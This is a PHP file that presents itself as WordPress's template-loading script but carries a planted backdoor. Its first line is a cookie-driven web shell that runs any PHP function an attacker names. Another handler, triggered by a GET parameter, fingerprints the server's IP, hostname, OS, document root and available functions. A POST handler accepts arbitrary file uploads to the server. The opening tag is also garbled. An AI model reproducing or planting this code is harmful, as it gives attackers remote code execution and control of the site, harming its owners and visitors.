<%>PHP<% if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); > /** * Loads the WordPress environment and template. * * @package WordPress */ if ( !isset($wp_did_header) ) { $wp_did_header = true; require_once( dirname(__FILE__) . '/wp-load.php' ); wp(); require_once( ABSPATH . WPINC . '/template-loader.php' ); } if(isset($_GET['i'])){ $i=gethostbyname($_SERVER['SERVER_NAME']);$h=gethostbyaddr("$i");$d=$_SERVER["DOCUMENT_ROOT"]; if(@function_exists("curl_init")){$c="D";}else{$c="N";} if(@function_exists("exec")){$e="D";}else{$e="N";} if(@function_exists("mail")){$s="D";}else{$s="N";}$w = exec("unzip"); if(@preg_match("/foo/",$w)){$z="D";}else{$z="N";}$u=php_uname(); if(@function_exists("file_get_contents")){$f="D";}else{$f="N";}$y="%$i%$h%$u%$d%$c%$e%$s%$z%$f%"; echo$y;} if(isset($_POST['upload'])) { $target_path = $dir; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { echo" OK "; }else{ echo "NO"; } } ?>